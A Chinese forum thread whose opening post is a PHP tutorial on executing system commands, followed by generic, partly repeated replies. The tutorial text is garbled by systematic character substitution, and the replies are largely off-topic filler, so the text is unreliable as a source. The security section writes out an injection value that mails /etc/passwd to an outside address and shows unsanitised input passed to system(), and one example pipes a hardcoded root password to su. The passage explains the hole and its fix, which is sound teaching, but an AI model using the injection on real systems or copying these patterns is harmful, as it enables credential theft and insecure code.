金色的骷髅 发表于 2015-2-4 00:20:01

PHP教程之在PHP中履行体系内部号令

大部分语言的基础,不是说c有多好,而是c相对起手容易学,让你认为这个是编程语言,履行   PHP作为一种办事器真个剧本言语,象编写复杂,或是庞杂的静态网页如许的义务,它完整可以胜任。但工作不老是如斯,有时为了完成某个功效,必需借助于操作体系的内部法式(或称之为号令),如许可以做到事半功倍。

  那末,是不是可以在PHP剧本中挪用内部号令呢?假如能,若何去做呢?有些甚么方面的挂念呢?信任你看了本文后,一定可以回覆这些成绩了。

  是不是可以?

  谜底是一定的。PHP和其它的法式设计言语一样,完整可以在法式内挪用内部号令,而且是很复杂的:只需用一个或几个函数便可。

  条件前提

  因为PHP根基是用于WEB法式开辟的,所以平安性成了人们思索的一个主要方面。因而PHP的设计者们给PHP加了一个门:平安形式。假如运转在平安形式下,那末PHP剧本中将遭到以下四个方面的限制:

  履行内部号令

  在翻开文件时有些限制

  毗连MySQL数据库

  基于HTTP的认证

  在平安形式下,只要在特定目次中的内部法式才可以被履行,对其它法式的挪用将被回绝。这个目次可以在php.ini文件顶用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默许是/usr/local/php/bin。

  假如你挪用一个应当可以输入了局的内部号令(意思是PHP剧本没有毛病),失掉的倒是一片空白,那末极可能你的网管已把PHP运转在平安形式下了。

  若何做?

  在PHP中挪用内部号令,可以用以下三种办法来完成:

  1) 用PHP供应的专门函数

  PHP供应共了3个专门的履行内部号令的函数:system(),exec(),passthru()。

  system()

  原型:string system (string command [, int return_var])

  system()函数很其它言语中的差不多,它履行给定的号令,输入和前往了局。第二个参数是可选的,用来失掉号令履行后的形态码。

  例子:

  <?

  system("/usr/local/bin/webalizer/webalizer");

  ?>

  exec()

  原型:string exec (string command [, string array [, int return_var]])

  exec()函数与system()相似,也履行给定的号令,但不输入了局,而是前往了局的最初一行。固然它只前往号令了局的最初一行,但用第二个参数array可以失掉完全的了局,办法是把了局逐行追加到array的开头处。所以假如array不是空的,在挪用之前最好用unset()最它清失落。只要指定了第二个参数时,才可以用第三个参数,用来获得号令履行的形态码。

  例子:

  <?

  exec("/bin/ls -l");

  exec("/bin/ls -l", $res);

  #$res是一个数据,每一个元素代表了局的一行

  exec("/bin/ls -l", $res, $rc);

  #$rc的值是号令/bin/ls -l的形态码。胜利的情形下凡是是0

  ?>

  passthru()

  原型:void passthru (string command [, int return_var])

  passthru()只挪用号令,不前往任何了局,但把号令的运转了局原样地直接输入到尺度输入装备上。所以passthru()函数常常用来挪用象pbmplus(Unix下的一个处置图片的东西,输入二进制的原始图片的流)如许的法式。一样它也能够失掉号令履行的形态码。

  例子:

  <?

  header("Content-type: image/gif");

  passthru("./ppmtogif hunte.ppm");

  ?>

  2) 用popen()函数翻开历程

  下面的办法只能复杂地履行号令,却不克不及与号令交互。但有些时分必需向号令输出一些器材,如在增添Linux的体系用户时,要挪用su来把以后用户换到root才行,而su号令必需要在号令行上输出root的暗码。这类情形下,用下面提到的办法明显是不可的。

  popen()函数翻开一个历程管道来履行给定的号令,前往一个文件句柄。既然前往的是一个文件句柄,那末就能够对它读和写了。在PHP3中,对这类句柄只能做单一的操作形式,要末写,要末读;从PHP4入手下手,可以同时读和写了。除非这个句柄是以一种形式(读或写)翻开的,不然必需挪用pclose()函数来封闭它。

  例子1:

  <?

  $fp=popen("/bin/ls -l", "r");

  ?>

  例子2(本例来自PHP中国同盟网站http://www.phpx.com/show.php?d=col&i=51):

  <?

  /* PHP中若何增添一个体系用户

  上面是一段例程,增添一个名字为james的用户,

  root暗码是 verygood。仅供参考

  */

  $sucommand = "su --login root --command";

  $useradd = "useradd ";

  $rootpasswd = "verygood";

  $user = "james";

  $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);

  $fp = @popen($user_add,"w");

  @fputs($fp,$rootpasswd);

  @pclose($fp);

  ?>

  3) 用反撇号(`,也就是键盘上ESC键上面的谁人,和~在统一个下面)

  这个办法之前没有归入PHP的文档,是作为一个秘技存在的。办法很复杂,用两个反撇号把要履行的号令括起来作为一个表达式,这个表达式的值就是号令履行的了局。如:

  <?

  $res=`/bin/ls -l`;

  echo '<b><pre>'.$res.'</pre></b>';

  ?>

  这个剧本的输入就象:

  hunte.gif

  hunte.ppm

  jpg.htm

  jpg.jpg

  passthru.php

  要思索些甚么?

  要思索两个成绩:平安性和超时。

  先看平安性。好比,你有一家小型的网上商铺,所以可以出售的产物列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输出他们的EMAIL地址,然后把这个产物列表发给他们。假定你没有利用PHP的mail()函数(或从未传闻过),你就挪用Linux/Unix体系的mail法式来发送这个文件。法式就象如许:

  <?

  system("mail $to < products.txt");

  echo "咱们的产物目次已发送到你的信箱:$to";

  ?>

  用这段代码,普通的用户不会发生甚么风险,但实践上存在着十分大的平安破绽。假如有个歹意的用户输出了如许一个EMAIL地址:

  '--bla ; mail someone@domain.com < /etc/passwd ;'

  那末这条号令终究酿成:

  'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

  我信任,不管哪一个收集办理人员见到如许的号令,城市吓出一身盗汗来。

  幸亏,PHP为咱们供应了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中一切能够瞒过Shell而去履行别的一个号令的字符本义。这些字符在Shell中是有特别寄义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处置号令的参数的。它在给定的字符串双方加上单引号,并把字符串中的单引号本义,如许这个字符串就能够平安地作为号令的参数。

  再来看看超时成绩。假如要履行的号令要消费很长的工夫,那末应当把这个号令放到体系的后台去运转。但在默许情形下,象system()等函数要比及这个号令运转完才前往(实践上是要等号令的输入了局),这一定会引发PHP剧本的超时。处理的举措是把号令的输入重定向到别的一个文件或流中,如:

  <?
  system("/usr/local/bin/order_proc > /tmp/null &");
  ?>最近陆续的有人问我学习php的心得,现在整理为下面,希望可以对大家有些帮助。

第二个灵魂 发表于 2015-2-4 11:53:51

写的比较杂,因为我也是个新手,不当至于大家多多指正。

活着的死人 发表于 2015-2-6 03:41:27

本文当是我的笔记啦,遇到的问题随时填充

乐观 发表于 2015-2-7 02:37:50

开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。

愤怒的大鸟 发表于 2015-2-19 21:17:58

真正的方向了,如果将来要去开发团队,你一定要学好smarty ,phplib这样的模板引擎,

仓酷云 发表于 2015-3-3 21:58:55

先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。

因胸联盟 发表于 2015-3-5 11:29:54

如果你可以写完像留言板这样的程序,那么你可以去一些别人的代码了,

冷月葬花魂 发表于 2015-3-10 17:52:16

爱上php,他也会爱上你。

透明 发表于 2015-3-11 18:37:05

最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。

再见西城 发表于 2015-3-17 09:08:58

这些中手常用的知识,当你把我说的这些关键字都可以熟练运用的时候,你可以选择自己

金色的骷髅 发表于 2015-3-19 16:50:42

在我安装pear包的时候老是提示,缺少某某文件,才发现 那群extension 的排列是应该有一点的顺序,而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去,只留下我需要使用的扩展。

小女巫 发表于 2015-3-23 00:17:42

php里的数组为空的时候是不能拿来遍历的;(这个有点低级啊,不过我刚被这个边界问题墨迹了好长一会)

柔情似水 发表于 2015-3-29 01:54:34

小鸟是第一次发帖(我习惯潜水的(*^__^*) 嘻嘻……),有错误之处还请大家批评指正,另外,前些日子听人说有高手能用php写驱动程序,真是学无止境,人外有人,天外有天。

简单生活 发表于 2015-4-4 21:31:44

学好程序语言,多些才是王道,写两个小时代码的作用绝对超过看一天书,这个我是深有体会(顺便还能练打字速度)。

老尸 发表于 2015-4-22 03:16:09

写的比较杂,因为我也是个新手,不当至于大家多多指正。

小魔女 发表于 2015-5-4 09:04:09

说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。

爱飞 发表于 2015-6-6 07:32:48

写js我最烦的就是 ie 和 firefox下同样的代码 结果显示的结果千差万别,还是就是最好不要用遨游去调试,因为有时候遨游是禁用js的,有可能代码是争取结果被遨游折腾的认为是代码写错。

莫相离 发表于 2015-7-7 21:44:15

找到的的资料很多都是在论坛里的,需要注册,所以我一般没到一个论坛都注册一个id,所有的id都注册成一样的,这样下次再进来的时候就不用重复注册啦。当然有些论坛的某些资料是需要的付费的。

若天明 发表于 2015-10-13 16:38:14

最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。

兰色精灵 发表于 2015-10-17 13:15:35

写的比较杂,因为我也是个新手,不当至于大家多多指正。
页: [1]
查看完整版本: PHP教程之在PHP中履行体系内部号令